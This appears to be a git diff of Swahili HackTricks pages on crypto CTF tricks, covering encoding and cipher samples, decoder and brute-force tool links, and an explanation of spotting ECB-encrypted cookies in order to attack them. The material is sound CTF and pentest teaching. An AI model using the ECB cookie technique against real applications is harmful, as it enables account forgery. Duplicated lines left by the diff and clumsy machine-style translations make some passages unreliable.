Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,20 +1,21 @@
|
|||
# Mbinu za Crypto CTFs
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalamu wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalamu wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Online Hashes DBs
|
||||
## Databases za Hashes Mtandaoni
|
||||
|
||||
* _**Tafuta kwenye Google**_
|
||||
* [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
|
||||
|
|
@ -35,19 +36,19 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
* [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
|
||||
|
||||
## Encoders
|
||||
## Wajumuishaji
|
||||
|
||||
Kwa kawaida, data iliyofichwa inaweza kubadilishwa na rasilimali hizi 2:
|
||||
Kwa kawaida data iliyohifadhiwa inaweza kuhifadhiwa kutumia rasilimali hizi 2:
|
||||
|
||||
* [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
|
||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### Substitution Autosolvers
|
||||
### Wajumuishaji wa Badilishaji
|
||||
|
||||
* [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
|
||||
* [https://quipqiup.com/](https://quipqiup.com) - Nzuri sana!
|
||||
|
||||
#### Caesar - ROTx Autosolvers
|
||||
#### Wajumuishaji wa Caesar - ROTx
|
||||
|
||||
* [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
|
||||
|
||||
|
|
@ -55,9 +56,9 @@ Kwa kawaida, data iliyofichwa inaweza kubadilishwa na rasilimali hizi 2:
|
|||
|
||||
* [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
|
||||
|
||||
### Base Encodings Autosolver
|
||||
### Wajumuishaji wa Msingi wa Kodi
|
||||
|
||||
Angalia misingi yote hii na: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
Angalia misingi hii yote kwa: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
|
||||
* **Ascii85**
|
||||
* `BQ%]q@psCd@rH0l`
|
||||
|
|
@ -100,7 +101,12 @@ Angalia misingi yote hii na: [https://github.com/dhondta/python-codext](https://
|
|||
* **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
|
||||
* `frDg[*jNN!7&BQM`
|
||||
* **Base100** \[]
|
||||
* `👟👦👣👘👚👘👩
|
||||
* `👟👦👣👘👚👘👩👘👚👦👣👘`
|
||||
* **Base122** \[]
|
||||
* `4F ˂r0Xmvc`
|
||||
* **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
|
||||
* `MIc3KiXa+Ihz+lrXMIc3KbCC`
|
||||
* **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
|
||||
* `DmPsv8J7qrlKEoY7`
|
||||
* **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
|
||||
* `kLD8iwKsigSalLJ5`
|
||||
|
|
@ -130,17 +136,11 @@ Angalia misingi yote hii na: [https://github.com/dhondta/python-codext](https://
|
|||
* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
||||
|
||||
### Morse
|
||||
|
||||
* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 Mfu: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
||||
```
|
||||
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
|
||||
```
|
||||
* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### UUencoder
|
||||
|
||||
* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 Mfu: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### UUencoder
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
|
|
@ -153,8 +153,6 @@ end
|
|||
* [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
|
||||
|
||||
### XXEncoder
|
||||
|
||||
XXEncoder ni kifaa kinachotumiwa kubadilisha data kuwa muundo mwingine ambao ni vigumu kusoma. Inaweza kutumika kuficha habari nyeti au kubadilisha data ili kuepuka uchunguzi. Kwa mfano, inaweza kutumika kubadilisha faili ya maandishi kuwa muundo wa Base64 ili kuficha maudhui yake halisi. Kwa kawaida, XXEncoder hutumiwa katika mazingira ya usalama na uchunguzi wa kina.
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
|
||||
|
|
@ -164,12 +162,6 @@ end
|
|||
* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
|
||||
|
||||
### YEncoder
|
||||
|
||||
YEncoder ni njia ya kubadilisha data kuwa muundo wa ASCII. Inatumika mara nyingi katika ujumbe wa barua pepe na kwenye mitandao ya zamani ya Usenet. YEncoder inachukua data ya binary na kuiweka katika muundo wa ASCII ili iweze kutumwa kwa urahisi kupitia njia za mawasiliano ambazo zinaweza kuharibu data ya binary.
|
||||
|
||||
YEncoder inafanya hivyo kwa kuchukua kila byte ya data ya binary na kuiweka katika muundo wa ASCII kwa kutumia kanuni maalum. Kanuni hii inahusisha kubadilisha kila byte kuwa kifungu cha ASCII kinachowakilisha thamani ya byte hiyo. Kwa mfano, byte ya 0x41 itabadilishwa kuwa kifungu cha ASCII kinachowakilisha herufi "A".
|
||||
|
||||
Kwa kubadilisha data ya binary kuwa muundo wa ASCII, YEncoder inaruhusu data hiyo kutumwa kupitia njia za mawasiliano ambazo zinaweza kuharibu data ya binary, kama vile barua pepe au mitandao ya zamani ya Usenet. Wakati data inapokelewa upande wa pili, YDecoder hutumiwa kubadilisha tena muundo wa ASCII kuwa data ya binary ya awali.
|
||||
```
|
||||
=ybegin line=128 size=28 name=webutils_pl
|
||||
ryvkryvkryvkryvkryvkryvkryvk
|
||||
|
|
@ -178,8 +170,6 @@ ryvkryvkryvkryvkryvkryvkryvk
|
|||
* [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
|
||||
|
||||
### BinHex
|
||||
|
||||
BinHex ni mfumo wa uandishi wa faili ambao hutumiwa kubadilisha data ya binary kuwa maandishi yanayoweza kusomwa. Inatumika sana katika uhamishaji wa faili kwenye mitandao ya zamani. Mfumo huu unatumia msimbo wa hexadecimal kuwakilisha data ya binary. Kwa kawaida, faili za BinHex zina ugani wa ".hqx".
|
||||
```
|
||||
(This file must be converted with BinHex 4.0)
|
||||
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
|
||||
|
|
@ -188,8 +178,6 @@ BinHex ni mfumo wa uandishi wa faili ambao hutumiwa kubadilisha data ya binary k
|
|||
* [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
|
||||
|
||||
### ASCII85
|
||||
|
||||
ASCII85 ni mbinu ya kubadilisha data ya binary kuwa maandishi ya ASCII. Mbinu hii inatumika katika uwanja wa usalama wa mtandao na uhandisi wa nyuma. Inaweza kutumika kuficha data au kubadilisha data ya binary kuwa muundo unaoweza kusomwa na binadamu. Mbinu hii inatumika mara nyingi katika CTFs na shughuli za udukuzi.
|
||||
```
|
||||
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
|
||||
```
|
||||
|
|
@ -199,42 +187,42 @@ ASCII85 ni mbinu ya kubadilisha data ya binary kuwa maandishi ya ASCII. Mbinu hi
|
|||
```
|
||||
drnajapajrna
|
||||
```
|
||||
* [https://www.geocachingtoolbox.com/index.php?lang=sw\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=sw\&page=dvorakKeyboard)
|
||||
* [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard)
|
||||
|
||||
### A1Z26
|
||||
|
||||
Barua kwa thamani zao za nambari
|
||||
Barua hadi thamani zao za nambari
|
||||
```
|
||||
8 15 12 1 3 1 18 1 3 15 12 1
|
||||
```
|
||||
### Ufungaji wa Chanzo cha Affine
|
||||
### Ufungaji wa Chaguo la Affine
|
||||
|
||||
Barua hadi nambari `(ax+b)%26` (_a_ na _b_ ni funguo na _x_ ni barua) na matokeo kurudi kwa barua
|
||||
Barua hadi num `(ax+b)%26` (_a_ na _b_ ni funguo na _x_ ni herufi) na matokeo kurudi kwa herufi
|
||||
```
|
||||
krodfdudfrod
|
||||
```
|
||||
### Msimbo wa SMS
|
||||
|
||||
**Multitap** [inabadilisha herufi](https://www.dcode.fr/word-letter-change) kwa nambari zinazorudiwa zilizofafanuliwa na nambari ya ufunguo inayolingana kwenye [kibodi ya simu](https://www.dcode.fr/phone-keypad-cipher) (Hali hii hutumiwa wakati wa kuandika SMS).\
|
||||
**Multitap** [badala ya herufi](https://www.dcode.fr/word-letter-change) kwa nambari zinazorudiwa zilizofafanuliwa na nambari ya ufunguo inayolingana kwenye kibodi ya simu ya mkononi (Hali hii hutumiwa wakati wa kuandika SMS).\
|
||||
Kwa mfano: 2=A, 22=B, 222=C, 3=D...\
|
||||
Unaweza kutambua msimbo huu kwa sababu utaona\*\* nambari kadhaa zinazorudiwa\*\*.
|
||||
Unaweza kutambua msimbo huu kwa sababu utaona\*\* nambari kadhaa zikirudiwa\*\*.
|
||||
|
||||
Unaweza kufichua msimbo huu kwa kutumia: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
Unaweza kufichua msimbo huu hapa: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
|
||||
### Msimbo wa Bacon
|
||||
|
||||
Badilisha kila herufi kwa As au Bs nne (au 1s na 0s)
|
||||
Badilisha kila herufi na 4 As au Bs (au 1s na 0s)
|
||||
```
|
||||
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
|
||||
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
||||
```
|
||||
### Alama za Kukimbia
|
||||
### Alama
|
||||
|
||||
|
||||
|
||||
## Ufupishaji
|
||||
|
||||
**Raw Deflate** na **Raw Inflate** (unaweza kupata zote mbili katika Cyberchef) zinaweza kufupisha na kurejesha data bila vichwa.
|
||||
**Raw Deflate** na **Raw Inflate** (unaweza kupata zote katika Cyberchef) zinaweza kufupisha na kufunua data bila vichwa.
|
||||
|
||||
## Crypto Rahisi
|
||||
|
||||
|
|
@ -244,13 +232,13 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
|||
|
||||
### Bifid
|
||||
|
||||
Inahitajika neno muhimu
|
||||
Neno la msingi linahitajika
|
||||
```
|
||||
fgaargaamnlunesuneoa
|
||||
```
|
||||
### Vigenere
|
||||
|
||||
Inahitajika neno muhimu
|
||||
Neno la msingi linahitajika
|
||||
```
|
||||
wodsyoidrods
|
||||
```
|
||||
|
|
@ -262,7 +250,7 @@ wodsyoidrods
|
|||
|
||||
### Fernet
|
||||
|
||||
2 herufi za msingi 64 (ishara na ufunguo)
|
||||
2 mizizi ya base64 (tokeni na ufunguo)
|
||||
```
|
||||
Token:
|
||||
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
|
||||
|
|
@ -272,9 +260,9 @@ Key:
|
|||
```
|
||||
* [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
|
||||
|
||||
### Kugawanya Siri ya Samir
|
||||
### Ugawaji wa Siri wa Samir
|
||||
|
||||
Siri inagawanywa katika sehemu X na ili kuirejesha unahitaji sehemu Y (_Y <=X_).
|
||||
Siri inagawanywa katika sehemu X na ili kuipata unahitaji sehemu Y (_Y <=X_).
|
||||
```
|
||||
8019f8fa5879aa3e07858d08308dc1a8b45
|
||||
80223035713295bddf0b0bd1b10a5340b89
|
||||
|
|
@ -282,7 +270,7 @@ Siri inagawanywa katika sehemu X na ili kuirejesha unahitaji sehemu Y (_Y <=X_).
|
|||
```
|
||||
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
|
||||
|
||||
### Kuvunja nguvu ya OpenSSL
|
||||
### Kuforce ya OpenSSL
|
||||
|
||||
* [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
|
||||
* [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy\_BFopensslCTF)
|
||||
|
|
@ -293,16 +281,17 @@ Siri inagawanywa katika sehemu X na ili kuirejesha unahitaji sehemu Y (_Y <=X_).
|
|||
* [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
|
||||
* [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,94 +1,80 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# ECB
|
||||
|
||||
(ECB) Kitabu cha Nambari cha Umeme - mfumo wa kusimbua wa usawa ambao **badala kila kibodi cha maandishi wazi** na **kibodi ya maandishi ya siri**. Ni mfumo wa kusimbua wa **rahisi zaidi**. Wazo kuu ni **kugawanya** maandishi wazi katika **vibodi vya N bits** (inategemea ukubwa wa kibodi ya data ya kuingiza, algorithm ya kusimbua) na kisha kusimbua (kusimbua) kila kibodi cha maandishi wazi kwa kutumia ufunguo pekee.
|
||||
(ECB) Kitabu cha Msimbo wa Kielektroniki - mpangilio wa kuficha wa kisymmetri ambao **huchukua nafasi ya kila kibodi cha maandishi wazi** na **kibodi ya maandishi yaliyofichwa**. Ni mpangilio wa **kuficha rahisi**. Wazo kuu ni **kugawa** maandishi wazi katika **vibodi vya N bits** (inategemea saizi ya kibodi ya data ya kuingia, algorithm ya kuficha) na kisha kuficha (kufichua) kila kibodi ya maandishi wazi kwa kutumia funguo pekee.
|
||||
|
||||
|
||||
|
||||
Kutumia ECB kuna athari za usalama nyingi:
|
||||
Kutumia ECB kuna athari nyingi za usalama:
|
||||
|
||||
* **Vibodi kutoka kwenye ujumbe uliosimbwa vinaweza kuondolewa**
|
||||
* **Vibodi kutoka kwenye ujumbe uliosimbwa vinaweza kusogezwa**
|
||||
* **Vibodi kutoka ujumbe uliofichwa vinaweza kuondolewa**
|
||||
* **Vibodi kutoka ujumbe uliofichwa vinaweza kuhamishwa**
|
||||
|
||||
# Ugunduzi wa udhaifu
|
||||
# Kugundua udhaifu
|
||||
|
||||
Fikiria unaingia kwenye programu mara kadhaa na unapata **kuki ile ile kila wakati**. Hii ni kwa sababu kuki ya programu ni **`<jina la mtumiaji>|<nywila>`**.\
|
||||
Kisha, unazalisha watumiaji wapya, wote wakiwa na **nywila ndefu ile ile** na **karibu** **jina la mtumiaji** **lile lile**.\
|
||||
Unagundua kuwa **vibodi za 8B** ambapo **habari ya watumiaji wote** ni sawa ni **sawa**. Kisha, unafikiria kuwa hii inaweza kuwa kwa sababu **ECB inatumika**.
|
||||
Fikiria unaingia kwenye programu mara kadhaa na **unapata kuki ile ile daima**. Hii ni kwa sababu kuki ya programu ni **`<jina la mtumiaji>|<nywila>`**.\
|
||||
Kisha, unazalisha watumiaji wapya, wote wawili wakiwa na **nywila ndefu sawa** na **karibu** **jina la mtumiaji** **sawa**.\
|
||||
Unagundua kwamba **vibodi vya 8B** ambapo **habari ya watumiaji wote** ni sawa ni **sawa**. Kisha, unafikiria kwamba hii inaweza kuwa kwa sababu **ECB inatumika**.
|
||||
|
||||
Kama katika mfano ufuatao. Tazama jinsi **kuki hizi 2 zilizosimbwa** zina mara kadhaa kibodi **`\x23U\xE45K\xCB\x21\xC8`**
|
||||
Kama katika mfano ufuatao. Angalia jinsi hizi **kuki 2 zilizofichuliwa** zina mara nyingi kibodi **`\x23U\xE45K\xCB\x21\xC8`**
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
```
|
||||
Hii ni kwa sababu **jina la mtumiaji na nenosiri la vidakuzi hivyo vilikuwa na herufi "a" mara kadhaa** (kwa mfano). **Vidokezo** ambavyo ni **tofauti** ni vidokezo ambavyo vilikuwa na **angalau herufi moja tofauti** (labda kizuizi "|" au tofauti muhimu katika jina la mtumiaji).
|
||||
Hii ni kwa sababu **jina la mtumiaji na nywila ya vidakuzi hivyo vilikuwa na mara nyingi herufi "a"** (kwa mfano). **Vipande** ambavyo ni **tofauti** ni vipande vilivyokuwa na **angalau herufi 1 tofauti** (labda kizuizi "|" au tofauti muhimu katika jina la mtumiaji).
|
||||
|
||||
Sasa, mshambuliaji anahitaji tu kugundua ikiwa muundo ni `<jina la mtumiaji><kizuizi><nenosiri>` au `<nenosiri><kizuizi><jina la mtumiaji>`. Kufanya hivyo, anaweza tu **kuunda majina mengi ya mtumiaji** na majina ya mtumiaji na nywila **yenye urefu sawa na mrefu** hadi atapata muundo na urefu wa kizuizi:
|
||||
Sasa, mkaidi anahitaji tu kugundua ikiwa muundo ni `<jina la mtumiaji><kizuizi><nywila>` au `<nywila><kizuizi><jina la mtumiaji>`. Ili kufanya hivyo, anaweza tu **kuzalisha majina kadhaa ya mtumiaji** na **majina ya mtumiaji na nywila sawa na ndefu mpaka apate muundo na urefu wa kizuizi:**
|
||||
|
||||
| Urefu wa Jina la Mtumiaji: | Urefu wa Nenosiri: | Urefu wa Jina la Mtumiaji+Nenosiri: | Urefu wa Kidakuzi (baada ya kudecode): |
|
||||
| ------------------------- | ----------------- | ----------------------------------- | ------------------------------------- |
|
||||
| 2 | 2 | 4 | 8 |
|
||||
| 3 | 3 | 6 | 8 |
|
||||
| 3 | 4 | 7 | 8 |
|
||||
| 4 | 4 | 8 | 16 |
|
||||
| 7 | 7 | 14 | 16 |
|
||||
| Urefu wa Jina la Mtumiaji: | Urefu wa Nywila: | Urefu wa Jina la Mtumiaji+Nywila: | Urefu wa Kuki (baada ya kudecode): |
|
||||
| -------------------------- | ---------------- | ---------------------------------- | ----------------------------------- |
|
||||
| 2 | 2 | 4 | 8 |
|
||||
